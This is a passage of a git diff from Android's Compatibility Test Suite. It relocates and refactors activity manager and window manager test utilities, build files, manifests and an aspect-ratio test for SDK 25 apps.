+ LifecycleLog lifecycleLog) {
+ final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(activityClass, "launch and destroy");
+
+ final List<Stage> expectedTransitions =
+ Arrays.asList(PRE_ON_CREATE, CREATED, STARTED, RESUMED, PAUSED, STOPPED, DESTROYED);
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ static void assertRelaunchSequence(Class<? extends Activity> activityClass,
+ LifecycleLog lifecycleLog) {
+ final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(activityClass, "relaunch");
+
+ final List<Stage> expectedTransitions =
+ Arrays.asList(PAUSED, STOPPED, DESTROYED, PRE_ON_CREATE, CREATED, STARTED, RESUMED);
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ private static Pair<String, Stage> transition(
+ Class<? extends Activity> activityClass, Stage state) {
+ return new Pair<>(activityClass.getCanonicalName(), state);
+ }
+
+ private static String errorDuringTransition(Class<? extends Activity> activityClass,
+ String transition) {
+ return "Failed verification during moving activity: " + activityClass.getCanonicalName()
+ + " through transition: " + transition;
+ }
+}
diff --git a/tests/app/appSdk25/Android.mk b/tests/framework/base/activitymanager/testsdk25/Android.mk
similarity index 70%
copy from tests/app/appSdk25/Android.mk
copy to tests/framework/base/activitymanager/testsdk25/Android.mk
index 36c6d07..e55d5f0 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/tests/framework/base/activitymanager/testsdk25/Android.mk
@@ -1,3 +1,4 @@
+#
# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,24 +13,22 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_TAGS := tests optional
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
+LOCAL_PACKAGE_NAME := CtsActivityManagerDeviceSdk25TestCases
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../src/android/server/am/AspectRatioTestsBase.java
LOCAL_SDK_VERSION := 25
-# Tag this module as a cts test artifact
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test
+
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
new file mode 100644
index 0000000..f216411
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.cts.am.testsdk25">
+
+ <uses-sdk android:targetSdkVersion="25" />
+
+ <application android:label="CtsActivityManagerDeviceSdk25TestCases">
+ <uses-library android:name="android.test.runner" />
+
+ <activity
+ android:name="android.server.am.AspectRatioSdk25Tests$Sdk25MaxAspectRatioActivity"
+ android:label="Sdk25MaxAspectRatioActivity"
+ android:resizeableActivity="false" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.server.cts.am.testsdk25" />
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/testsdk25/AndroidTest.xml b/tests/framework/base/activitymanager/testsdk25/AndroidTest.xml
new file mode 100644
index 0000000..5de8f88
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<configuration description="Config for CTS ActivityManager SDK 25 compatibility test cases">
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsActivityManagerDeviceSdk25TestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+ <option name="package" value="android.server.cts.am.testsdk25" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
new file mode 100644
index 0000000..6ec1df0
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base/activitymanager
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceSdk25TestCases android.server.am.AspectRatioSdk25Tests
+ */
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class AspectRatioSdk25Tests extends AspectRatioTestsBase {
+
+ // Max supported aspect ratio for pre-O apps.
+ private static final float MAX_PRE_O_ASPECT_RATIO = 1.86f;
+
+ // Test target activity that has targetSdk="25" and resizeableActivity="false".
+ public static class Sdk25MaxAspectRatioActivity extends Activity {
+ }
+
+ @Rule
+ public ActivityTestRule<Sdk25MaxAspectRatioActivity> mSdk25MaxAspectRatioActivity =
+ new ActivityTestRule<>(Sdk25MaxAspectRatioActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Test
+ public void testMaxAspectRatioPreOActivity() throws Exception {
+ runAspectRatioTest(mSdk25MaxAspectRatioActivity, actual -> {
+ if (MAX_PRE_O_ASPECT_RATIO >= actual) return;
+ fail("actual=" + actual + " is greater than expected=" + MAX_PRE_O_ASPECT_RATIO);
+ });
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk b/tests/framework/base/activitymanager/translucentapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
rename to tests/framework/base/activitymanager/translucentapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/AndroidManifest.xml b/tests/framework/base/activitymanager/translucentapp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/AndroidManifest.xml
rename to tests/framework/base/activitymanager/translucentapp/AndroidManifest.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/src/android/server/translucentapp/TranslucentLandscapeActivity.java b/tests/framework/base/activitymanager/translucentapp/src/android/server/am/translucentapp/TranslucentLandscapeActivity.java
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/src/android/server/translucentapp/TranslucentLandscapeActivity.java
rename to tests/framework/base/activitymanager/translucentapp/src/android/server/am/translucentapp/TranslucentLandscapeActivity.java
diff --git a/tests/app/appSdk25/Android.mk b/tests/framework/base/activitymanager/translucentappsdk26/Android.mk
similarity index 83%
copy from tests/app/appSdk25/Android.mk
copy to tests/framework/base/activitymanager/translucentappsdk26/Android.mk
index 36c6d07..dbb0b2b 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/tests/framework/base/activitymanager/translucentappsdk26/Android.mk
@@ -19,17 +19,14 @@
# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
+ $(call all-java-files-under, ../translucentapp/src) \
-LOCAL_SDK_VERSION := 25
+LOCAL_SDK_VERSION := 26
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PACKAGE_NAME := CtsDeviceTranslucentTestApp26
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml b/tests/framework/base/activitymanager/translucentappsdk26/AndroidManifest.xml
similarity index 68%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
copy to tests/framework/base/activitymanager/translucentappsdk26/AndroidManifest.xml
index efc80ea..43c85f5 100755
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/translucentappsdk26/AndroidManifest.xml
@@ -16,12 +16,13 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.alertwindowappsdk25">
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
- <application android:label="CtsAlertWindowSdk25">
- <activity android:name=".AlertWindowTestActivitySdk25"
- android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="android.server.translucentapp26">
+ <application android:label="CtsTranslucentApp26">
+ <activity android:name="android.server.translucentapp.TranslucentLandscapeActivity"
+ android:theme="@android:style/Theme.Translucent.NoTitleBar"
+ android:exported="true"
+ android:screenOrientation="landscape">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
diff --git a/hostsidetests/services/activityandwindowmanager/util/Android.mk b/tests/framework/base/activitymanager/util/Android.mk
similarity index 69%
rename from hostsidetests/services/activityandwindowmanager/util/Android.mk
rename to tests/framework/base/activitymanager/util/Android.mk
index 993ba94..6fa0331 100644
--- a/hostsidetests/services/activityandwindowmanager/util/Android.mk
+++ b/tests/framework/base/activitymanager/util/Android.mk
@@ -16,19 +16,21 @@
include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_TAGS := tests optional
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ platformprotosnano \
+ compatibility-device-util \
+ android-support-test
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+LOCAL_JAVA_LIBRARIES := core-oj core-libart
LOCAL_MODULE := cts-amwm-util
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
-include $(BUILD_HOST_JAVA_LIBRARY)
+include $(BUILD_STATIC_JAVA_LIBRARY)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/util/run-test b/tests/framework/base/activitymanager/util/run-test
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/util/run-test
rename to tests/framework/base/activitymanager/util/run-test
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
similarity index 61%
rename from hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
rename to tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
index a54ed19..c243715 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
@@ -14,30 +14,35 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import static android.server.cts.ActivityManagerState.RESIZE_MODE_RESIZEABLE;
-import static android.server.cts.ActivityManagerTestBase.DOCKED_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.FREEFORM_WORKSPACE_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.PINNED_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.componentName;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.content.pm.ActivityInfo.RESIZE_MODE_RESIZEABLE;
+import static android.server.am.ActivityManagerTestBase.componentName;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-import android.server.cts.WindowManagerState.Display;
-import android.server.cts.WindowManagerState.WindowStack;
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.WindowManagerState.WindowTask;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import android.graphics.Rect;
+import android.server.am.ActivityManagerState.ActivityStack;
+import android.server.am.ActivityManagerState.ActivityTask;
+import android.server.am.WindowManagerState.Display;
+import android.server.am.WindowManagerState.WindowStack;
+import android.server.am.WindowManagerState.WindowState;
+import android.server.am.WindowManagerState.WindowTask;
-import junit.framework.Assert;
-
-import java.awt.Rectangle;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
@@ -45,12 +50,15 @@
import java.util.function.BooleanSupplier;
import java.util.function.Predicate;
-/** Combined state of the activity manager and window manager. */
-public class ActivityAndWindowManagersState extends Assert {
+/**
+ * Combined state of the activity manager and window manager.
+ */
+public class ActivityAndWindowManagersState {
// Clone of android DisplayMetrics.DENSITY_DEFAULT (DENSITY_MEDIUM)
// (Needed in host-side tests to convert dp to px.)
private static final int DISPLAY_DENSITY_DEFAULT = 160;
+ // TODO: Change to use framework constant.
public static final int DEFAULT_DISPLAY_ID = 0;
// Default minimal size of resizable task, used if none is set explicitly.
@@ -65,35 +73,48 @@
private ActivityManagerState mAmState = new ActivityManagerState();
private WindowManagerState mWmState = new WindowManagerState();
- private final List<WindowManagerState.WindowState> mTempWindowList = new ArrayList<>();
-
private boolean mUseActivityNames = true;
+ @Deprecated
+ public void computeState(String... waitForActivitiesVisible)
+ throws Exception {
+ WaitForValidActivityState[] states = waitForActivitiesVisible != null ?
+ new WaitForValidActivityState[waitForActivitiesVisible.length] : null;
+ if (states != null) {
+ for (int i = 0; i < waitForActivitiesVisible.length; i++) {
+ states[i] =
+ new WaitForValidActivityState.Builder(waitForActivitiesVisible[i]).build();
+ }
+ }
+ computeState(states);
+ }
+
+ @Deprecated
+ public void computeState() throws Exception {
+ computeState(true);
+ }
+
/**
* Compute AM and WM state of device, check sanity and bounds.
* WM state will include only visible windows, stack and task bounds will be compared.
*
- * @param device test device.
* @param waitForActivitiesVisible array of activity names to wait for.
*/
- public void computeState(ITestDevice device, String[] waitForActivitiesVisible)
+ public void computeState(WaitForValidActivityState... waitForActivitiesVisible)
throws Exception {
- computeState(device, waitForActivitiesVisible, true);
+ computeState(true, waitForActivitiesVisible);
}
/**
* Compute AM and WM state of device, check sanity and bounds.
*
- * @param device test device.
- * @param waitForActivitiesVisible array of activity names to wait for.
* @param compareTaskAndStackBounds pass 'true' if stack and task bounds should be compared,
* 'false' otherwise.
+ * @param waitForActivitiesVisible array of activity states to wait for.
*/
- void computeState(ITestDevice device, String[] waitForActivitiesVisible,
- boolean compareTaskAndStackBounds) throws Exception {
- waitForValidState(device, waitForActivitiesVisible, null /* stackIds */,
- compareTaskAndStackBounds);
-
+ void computeState(boolean compareTaskAndStackBounds,
+ WaitForValidActivityState... waitForActivitiesVisible) throws Exception {
+ waitForValidState(compareTaskAndStackBounds, waitForActivitiesVisible);
assertSanity();
assertValidBounds(compareTaskAndStackBounds);
}
@@ -105,7 +126,7 @@
* may follow a different format, so this method lets you disable that behavior,
* prior to calling a computeState variant
*/
- void setUseActivityNamesForWindowNames(boolean useActivityNames) {
+ public void setUseActivityNamesForWindowNames(boolean useActivityNames) {
mUseActivityNames = useActivityNames;
}
@@ -117,12 +138,11 @@
* waiting-for-debugger window, but real activity window won't show up since we're waiting
* for debugger.
*/
- void waitForDebuggerWindowVisible(
- ITestDevice device, String[] waitForActivityRecords) throws Exception {
+ void waitForDebuggerWindowVisible(String[] waitForActivityRecords) {
int retriesLeft = 5;
do {
- mAmState.computeState(device);
- mWmState.computeState(device);
+ mAmState.computeState();
+ mWmState.computeState();
if (shouldWaitForDebuggerWindow() ||
shouldWaitForActivityRecords(waitForActivityRecords)) {
try {
@@ -140,65 +160,87 @@
/**
* Wait for the activity to appear and for valid state in AM and WM.
*
- * @param device test device.
* @param waitForActivityVisible name of activity to wait for.
*/
- void waitForValidState(ITestDevice device, String waitForActivityVisible)
+ @Deprecated
+ void waitForValidState(String waitForActivityVisible)
throws Exception {
- waitForValidState(device, new String[]{waitForActivityVisible}, null /* stackIds */,
- false /* compareTaskAndStackBounds */);
+ waitForValidState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder()
+ .setActivityName(waitForActivityVisible)
+ .build());
+ }
+
+ /** Wait for the activity to appear and for valid state in AM and WM. */
+ void waitForValidState(WaitForValidActivityState... waitForActivityVisible) throws Exception {
+ waitForValidState(false /* compareTaskAndStackBounds */, waitForActivityVisible);
}
/**
* Wait for the activity to appear in proper stack and for valid state in AM and WM.
*
- * @param device test device.
* @param waitForActivityVisible name of activity to wait for.
- * @param stackId id of the stack where provided activity should be found.
+ * @param stackId id of the stack where provided activity should be found.
*/
- void waitForValidState(ITestDevice device, String waitForActivityVisible, int stackId)
+ @Deprecated
+ void waitForValidState(String waitForActivityVisible, int stackId)
throws Exception {
- waitForValidState(device, new String[]{waitForActivityVisible}, new int[]{stackId},
- false /* compareTaskAndStackBounds */);
+ waitForValidState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder()
+ .setActivityName(waitForActivityVisible)
+ .setStackId(stackId)
+ .build());
+ }
+
+ void waitForValidStateWithActivityType(String waitForActivityVisible, int activityType)
+ throws Exception {
+ waitForValidState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder()
+ .setActivityName(waitForActivityVisible)
+ .setActivityType(activityType)
+ .build());
+ }
+
+ void waitForValidState(String waitForActivityVisible, int windowingMode, int activityType)
+ throws Exception {
+ waitForValidState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder()
+ .setActivityName(waitForActivityVisible)
+ .setActivityType(activityType)
+ .setWindowingMode(windowingMode)
+ .build());
}
/**
* Wait for the activities to appear in proper stacks and for valid state in AM and WM.
*
- * @param device test device.
- * @param waitForActivitiesVisible array of activity names to wait for.
- * @param stackIds ids of stack where provided activities should be found.
- * Pass null to skip this check.
* @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
* for equality.
+ * @param waitForActivitiesVisible array of activity state to wait for.
*/
- void waitForValidState(ITestDevice device, String[] waitForActivitiesVisible, int[] stackIds,
- boolean compareTaskAndStackBounds) throws Exception {
- waitForValidState(device, waitForActivitiesVisible, stackIds, compareTaskAndStackBounds,
- componentName);
+ private void waitForValidState(boolean compareTaskAndStackBounds,
+ WaitForValidActivityState... waitForActivitiesVisible) throws Exception {
+ waitForValidState(compareTaskAndStackBounds, componentName, waitForActivitiesVisible);
}
/**
* Wait for the activities to appear in proper stacks and for valid state in AM and WM.
*
- * @param device test device.
- * @param waitForActivitiesVisible array of activity names to wait for.
- * @param stackIds ids of stack where provided activities should be found.
- * Pass null to skip this check.
* @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
* for equality.
- * @param packageName name of the package of activities that we're waiting for.
+ * @param packageName name of the package of activities that we're waiting for.
+ * @param waitForActivitiesVisible array of activity states to wait for.
*/
- void waitForValidState(ITestDevice device, String[] waitForActivitiesVisible, int[] stackIds,
- boolean compareTaskAndStackBounds, String packageName) throws Exception {
+ void waitForValidState(boolean compareTaskAndStackBounds, String packageName,
+ WaitForValidActivityState... waitForActivitiesVisible) throws Exception {
int retriesLeft = 5;
do {
// TODO: Get state of AM and WM at the same time to avoid mismatches caused by
// requesting dump in some intermediate state.
- mAmState.computeState(device);
- mWmState.computeState(device);
+ mAmState.computeState();
+ mWmState.computeState();
if (shouldWaitForValidStacks(compareTaskAndStackBounds)
- || shouldWaitForActivities(waitForActivitiesVisible, stackIds, packageName)
+ || shouldWaitForActivities(packageName, waitForActivitiesVisible)
|| shouldWaitForWindows()) {
log("***Waiting for valid stacks and activities states...");
try {
@@ -213,10 +255,10 @@
} while (retriesLeft-- > 0);
}
- void waitForAllStoppedActivities(ITestDevice device) throws Exception {
+ void waitForAllStoppedActivities() throws Exception {
int retriesLeft = 5;
do {
- mAmState.computeState(device);
+ mAmState.computeState();
if (mAmState.containsStartedActivities()){
log("***Waiting for valid stacks and activities states...");
try {
@@ -233,85 +275,98 @@
assertFalse(mAmState.containsStartedActivities());
}
- void waitForHomeActivityVisible(ITestDevice device) throws Exception {
- waitForValidState(device, mAmState.getHomeActivityName());
+ void waitForHomeActivityVisible() throws Exception {
+ String homeActivity = mAmState.getHomeActivityName();
+ // Sometimes this function is called before we know what Home Activity is
+ if (homeActivity == null) {
+ log("Computing state to determine Home Activity");
+ computeState();
+ homeActivity = mAmState.getHomeActivityName();
+ }
+ assertNotNull("homeActivity should not be null", homeActivity);
+ waitForValidState(homeActivity);
}
- /** @return true if recents activity is visible. Devices without recents will return false */
- boolean waitForRecentsActivityVisible(ITestDevice device) throws Exception {
- waitForWithAmState(device, ActivityManagerState::isRecentsActivityVisible,
+ /**
+ * @return true if recents activity is visible. Devices without recents will return false
+ */
+ boolean waitForRecentsActivityVisible() throws Exception {
+ waitForWithAmState(ActivityManagerState::isRecentsActivityVisible,
"***Waiting for recents activity to be visible...");
return mAmState.isRecentsActivityVisible();
}
- void waitForKeyguardShowingAndNotOccluded(ITestDevice device) throws Exception {
- waitForWithAmState(device, state -> state.getKeyguardControllerState().keyguardShowing
+ void waitForKeyguardShowingAndNotOccluded() throws Exception {
+ waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
&& !state.getKeyguardControllerState().keyguardOccluded,
"***Waiting for Keyguard showing...");
}
- void waitForKeyguardShowingAndOccluded(ITestDevice device) throws Exception {
- waitForWithAmState(device, state -> state.getKeyguardControllerState().keyguardShowing
+ void waitForKeyguardShowingAndOccluded() throws Exception {
+ waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
&& state.getKeyguardControllerState().keyguardOccluded,
"***Waiting for Keyguard showing and occluded...");
}
- void waitForKeyguardGone(ITestDevice device) throws Exception {
- waitForWithAmState(device, state -> !state.getKeyguardControllerState().keyguardShowing,
+ void waitForKeyguardGone() throws Exception {
+ waitForWithAmState(state -> !state.getKeyguardControllerState().keyguardShowing,
"***Waiting for Keyguard gone...");
}
- void waitForRotation(ITestDevice device, int rotation) throws Exception {
- waitForWithWmState(device, state -> state.getRotation() == rotation,
+ void waitForRotation(int rotation) throws Exception {
+ waitForWithWmState(state -> state.getRotation() == rotation,
"***Waiting for Rotation: " + rotation);
}
- void waitForDisplayUnfrozen(ITestDevice device) throws Exception {
- waitForWithWmState(device, state -> !state.isDisplayFrozen(),
+ void waitForDisplayUnfrozen() throws Exception {
+ waitForWithWmState(state -> !state.isDisplayFrozen(),
"***Waiting for Display unfrozen");
}
- void waitForActivityState(ITestDevice device, String activityName, String... activityStates)
- throws Exception {
- waitForWithAmState(device, state -> {
- for (String activityState : activityStates) {
- if (state.hasActivityState(activityName, activityState)) {
- return true;
- }
- }
- return false;
- },
- "***Waiting for Activity State: " + activityStates);
+ void waitForActivityState(String activityName, String activityState)
+ throws Exception {
+ waitForWithAmState(state -> state.hasActivityState(activityName, activityState),
+ "***Waiting for Activity State: " + activityState);
}
- void waitForFocusedStack(ITestDevice device, int stackId) throws Exception {
- waitForWithAmState(device, state -> state.getFocusedStackId() == stackId,
+ @Deprecated
+ void waitForFocusedStack(int stackId) throws Exception {
+ waitForWithAmState(state -> state.getFocusedStackId() == stackId,
"***Waiting for focused stack...");
}
- void waitForAppTransitionIdle(ITestDevice device) throws Exception {
- waitForWithWmState(device,
+ void waitForFocusedStack(int windowingMode, int activityType) throws Exception {
+ waitForWithAmState(state ->
+ (activityType == ACTIVITY_TYPE_UNDEFINED
+ || state.getFocusedStackActivityType() == activityType)
+ && (windowingMode == WINDOWING_MODE_UNDEFINED
+ || state.getFocusedStackWindowingMode() == windowingMode),
+ "***Waiting for focused stack...");
+ }
+
+ void waitForAppTransitionIdle() throws Exception {
+ waitForWithWmState(
state -> WindowManagerState.APP_STATE_IDLE.equals(state.getAppTransitionState()),
"***Waiting for app transition idle...");
}
- void waitForWithAmState(ITestDevice device, Predicate<ActivityManagerState> waitCondition,
- String message) throws Exception{
- waitFor(device, (amState, wmState) -> waitCondition.test(amState), message);
+ void waitForWithAmState(Predicate<ActivityManagerState> waitCondition,
+ String message) throws Exception {
+ waitFor((amState, wmState) -> waitCondition.test(amState), message);
}
- void waitForWithWmState(ITestDevice device, Predicate<WindowManagerState> waitCondition,
- String message) throws Exception{
- waitFor(device, (amState, wmState) -> waitCondition.test(wmState), message);
+ void waitForWithWmState(Predicate<WindowManagerState> waitCondition,
+ String message) throws Exception {
+ waitFor((amState, wmState) -> waitCondition.test(wmState), message);
}
- void waitFor(ITestDevice device,
+ void waitFor(
BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message)
throws Exception {
waitFor(message, () -> {
try {
- mAmState.computeState(device);
- mWmState.computeState(device);
+ mAmState.computeState();
+ mWmState.computeState();
} catch (Exception e) {
logE(e.toString());
return false;
@@ -337,7 +392,9 @@
} while (retriesLeft-- > 0);
}
- /** @return true if should wait for valid stacks state. */
+ /**
+ * @return true if should wait for valid stacks state.
+ */
private boolean shouldWaitForValidStacks(boolean compareTaskAndStackBounds) {
if (!taskListsInAmAndWmAreEqual()) {
// We want to wait for equal task lists in AM and WM in case we caught them in the
@@ -376,9 +433,11 @@
return false;
}
- /** @return true if should wait for some activities to become visible. */
- private boolean shouldWaitForActivities(String[] waitForActivitiesVisible, int[] stackIds,
- String packageName) {
+ /**
+ * @return true if should wait for some activities to become visible.
+ */
+ private boolean shouldWaitForActivities(String packageName,
+ WaitForValidActivityState... waitForActivitiesVisible) {
if (waitForActivitiesVisible == null || waitForActivitiesVisible.length == 0) {
return false;
}
@@ -387,15 +446,17 @@
// and for placing them in correct stacks (if requested).
boolean allActivityWindowsVisible = true;
boolean tasksInCorrectStacks = true;
- List<WindowManagerState.WindowState> matchingWindowStates = new ArrayList<>();
+ List<WindowState> matchingWindowStates = new ArrayList<>();
for (int i = 0; i < waitForActivitiesVisible.length; i++) {
+ final String activityName = waitForActivitiesVisible[i].activityName;
// Check if window is visible - it should be represented as one of the window states.
final String windowName = mUseActivityNames ?
- ActivityManagerTestBase.getWindowName(packageName, waitForActivitiesVisible[i])
- : waitForActivitiesVisible[i];
+ ActivityManagerTestBase.getWindowName(packageName, activityName) : activityName;
final String activityComponentName =
- ActivityManagerTestBase.getActivityComponentName(packageName,
- waitForActivitiesVisible[i]);
+ ActivityManagerTestBase.getActivityComponentName(packageName, activityName);
+ final int stackId = waitForActivitiesVisible[i].stackId;
+ final int windowingMode = waitForActivitiesVisible[i].windowingMode;
+ final int activityType = waitForActivitiesVisible[i].activityType;
